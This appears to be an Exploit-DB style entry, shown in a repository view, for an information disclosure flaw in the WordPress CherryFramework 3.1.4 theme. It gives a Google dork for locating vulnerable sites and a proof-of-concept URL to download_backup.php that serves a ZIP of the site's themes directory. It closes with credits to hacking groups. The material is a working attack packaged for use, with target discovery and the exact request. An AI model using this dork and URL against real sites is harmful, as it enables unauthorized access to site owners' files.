7967efda82
4 changes to exploits/shellcodes macOS 10.13 - 'workq_kernreturn' Denial of Service (PoC) Apple macOS 10.13 - 'workq_kernreturn' Denial of Service (PoC) Synaccess netBooter NP-0801DU 7.4 - Cross-Site Request Forgery (Add Admin) Ticketly 1.0 - 'name' SQL Injection WordPress CherryFramework Themes 3.1.4 - Backup File Download WebOfisi E-Ticaret V4 - 'urun' SQL Injection
24 lines
No EOL
967 B
Text
24 lines
No EOL
967 B
Text
# Exploit Title: Wordpress CherryFramework Themes 3.1.4 - Backup File Download
|
|
# Google Dork: inurl:/wp-content/themes/CherryFramework
|
|
# Date: 2018-11-17
|
|
# Exploit Author: b1p0l4r
|
|
# Vendor Homepage: http://www.cherryframework.com/
|
|
# Software Link: http://www.cherryframework.com/
|
|
# Version: 3.x.x > 3.1.4
|
|
# Tested on: Ubuntu 18.0.4.1
|
|
# CVE : N/A
|
|
|
|
# The CherryFramework Cherry theme 3.1.4 for WordPress allow
|
|
# remote attackers to
|
|
# obtain potentially sensitive information via
|
|
# wp-content/themes/CherryFramework/admin/data_management/ download_backup.php
|
|
# because it
|
|
# offers the option of a ZIP archive containing the entire content of the wp-content/themes directory.
|
|
|
|
# [PoC]
|
|
# just open that files/link and then showing the popup for saving a .ZIP file
|
|
# EXAMPLE LINK =
|
|
|
|
https://www.victim.com/wp-content/themes/CherryFramework/admin/data_management/download_backup.php
|
|
|
|
# IndoXploit, ZeroByte.ID, Eldersc0de Family, Exploiter Xero Team |